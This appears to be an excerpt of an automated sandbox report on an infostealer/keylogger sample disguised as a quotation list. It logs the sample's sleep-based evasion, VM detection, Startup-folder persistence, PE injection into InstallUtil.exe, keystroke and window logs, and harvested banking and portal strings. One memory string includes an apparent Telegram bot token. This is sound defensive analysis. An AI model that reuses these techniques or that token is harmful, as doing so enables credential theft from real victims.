Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -35971150943733603s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 7048	Thread sleep count: 2534 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 7048	Thread sleep count: 7298 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -99763s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -99655s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -99546s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -99433s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -99218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -98980s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -98867s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -98765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -98652s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -98528s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -98420s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -98311s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -98203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -98094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -97984s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -97875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -97766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -97656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -97547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -97438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -97328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -97219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -97094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -96984s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -96875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -96766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -96656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -96546s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -96437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -96312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -96117s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -96013s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -95906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -95796s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -95688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -95578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -95469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -95359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -95241s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -95141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -95031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -94922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -94812s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -94703s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -94591s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe TID: 6024	Thread sleep time: -94484s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe TID: 7704	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe TID: 3748	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 99797	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 99670	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 99562	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 99451	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 99310	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 99094	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 98981	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 98860	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 98750	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 98638	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 98516	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 98406	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 98297	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 98188	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 98063	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 97938	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 97813	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 97703	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 97594	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 97469	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 97360	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 97235	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 97110	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 96985	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 96730	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 96591	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 96469	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 96360	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 96235	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 96110	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 95985	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 95860	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 95735	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 95610	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 95485	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 95360	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 95235	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 95110	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 94985	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 94860	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 94735	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 94610	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 94485	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 94360	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 94241	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 94138	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 94017	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Thread delayed: delay time: 93895	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 99763	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 99655	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 99546	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 99433	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 99218	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 98980	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 98867	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 98765	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 98652	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 98528	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 98420	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 98311	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 98203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 98094	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 97984	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 97875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 97766	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 97656	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 97547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 97438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 97328	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 97219	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 97094	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 96984	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 96875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 96766	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 96656	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 96546	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 96437	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 96312	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 96117	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 96013	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 95906	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 95796	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 95688	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 95578	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 95469	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 95359	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 95241	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 95141	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 95031	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 94922	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 94812	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 94703	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 94591	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Thread delayed: delay time: 94484	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\	Jump to behavior

Source: WebData.7.dr	Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: WebData.7.dr	Binary or memory string: tasks.office.comVMware20,11696501413o
Source: WebData.7.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: WebData.7.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: WebData.7.dr	Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: WebData.7.dr	Binary or memory string: dev.azure.comVMware20,11696501413j
Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.00000000039B2000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1557861462.0000000003EBF000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1557861462.0000000003DF6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000D.00000002.1534743132.0000000000751000.00000004.00000400.00020000.00000000.sdmp	Binary or memory string: 1B1A352E100D392E24283924020C3E2D20040E2B292F1D35012459594578360A19163F1B223C06181E35252F2410200628193F27170A3B1B49507A77053614547B78476755490C5C297052045C526244791568095A6C7470getbinaryvalueXFHuSZglKKxePGpcMBFpRdOItVdxhokHjElbStMWZHlZCVSASSVTjIqEMugeztJrrpOHVDuWRBuulnLgptDlujfZix3F29371B160C1A291B16133F3A0F05133226093F2823360932153320132BDMlFQoamhLGPGomnwvneFmmebYnFZTvXNmA
Source: WebData.7.dr	Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: InstallUtil.exe, 00000007.00000002.2529637627.0000000001189000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: WebData.7.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: WebData.7.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696501413\|UE
Source: WebData.7.dr	Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: WebData.7.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: WebData.7.dr	Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: WebData.7.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: WebData.7.dr	Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: Lista de cotizaciones.exe, 00000001.00000002.1359126192.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1535043364.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: WebData.7.dr	Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: WebData.7.dr	Binary or memory string: outlook.office.comVMware20,11696501413s
Source: WebData.7.dr	Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: wscript.exe, 00000009.00000002.1449619970.0000018B1A5B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: WebData.7.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: WebData.7.dr	Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: WebData.7.dr	Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: Method.exe, 0000000A.00000002.1537972615.0000000002B75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: WebData.7.dr	Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: WebData.7.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
Source: Method.exe, 0000000A.00000002.1537972615.0000000002B75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: WebData.7.dr	Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: WebData.7.dr	Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: WebData.7.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: WebData.7.dr	Binary or memory string: global block list test formVMware20,11696501413
Source: WebData.7.dr	Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: WebData.7.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: WebData.7.dr	Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: WebData.7.dr	Binary or memory string: discord.comVMware20,11696501413f
Source: WebData.7.dr	Binary or memory string: AMC password management pageVMware20,11696501413

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\Method.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 750000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\Method.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 750000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 751000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 790000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 791000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 5EE008	Jump to behavior

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Method.exe "C:\Users\user\AppData\Roaming\Method.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2531606324.0000000001229000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003D36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:11:20]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:12:00]<<Program Manager>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:33]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:44]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:55]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:11:19]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:54]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:11:52]<<Program Manager8
Source: InstallUtil.exe, 00000007.00000002.2533776303.0000000003D67000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.0000000001189000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08EProgram Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:32]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003D01000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:21]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:43]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:11:08]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2533776303.0000000003D67000.00000004.00000020.00020000.00000000.sdmp, KeyDataKUBssLSi.txt.7.dr	Binary or memory string: [03:11:31]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2531804820.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2533776303.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:10:56]<<Program Manager>>
Source: InstallUtil.exe, 00000007.00000002.2529637627.0000000001209000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [03:12:04]<<Program Manager
